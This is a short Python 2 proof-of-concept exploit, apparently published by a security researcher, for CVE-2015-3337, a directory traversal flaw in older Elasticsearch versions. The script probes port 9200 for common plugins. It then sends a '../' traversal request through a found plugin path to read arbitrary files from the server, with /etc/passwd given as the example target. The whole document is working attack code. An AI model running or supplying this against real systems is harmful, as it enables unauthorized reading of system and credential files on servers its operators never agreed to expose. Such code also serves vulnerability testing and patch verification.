#!/usr/bin/python # Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign # Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5 # Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net # Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/ import socket, sys print "!dSR ElasticPwn - for CVE-2015-3337\n" if len(sys.argv) <> 3: print "Ex: %s www.example.com /etc/passwd" % sys.argv[0] sys.exit() port = 9200 # Default ES http port host = sys.argv[1] fpath = sys.argv[2] def grab(plugin): socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/"+plugin+"/../../../../../.."+fpath+ " HTTP/1.0\n" "Host: "+host+"\n\n") file = s.recv(2048) print " [*] Trying to retrieve "+str(fpath)+":" if ("HTTP/1.0 200 OK" in file): print "\n"+file else: print "[-] File Not Found or system not vulnerable" def pfind(plugin): try: socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/"+plugin+"/ HTTP/1.0\n" "Host: "+host+"\n\n") file = s.recv(16) print "[*] Trying to find plugin "+plugin+":" if ("HTTP/1.0 200 OK" in file): print "[+] Plugin found!" grab(plugin) sys.exit() else: print "[-] Not Found " except Exception, e: print "[-] Error connecting to "+host+" "+str(e) sys.exit() # Include more plugin names to check if they are installed pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] for plugin in pluginList: pfind(plugin)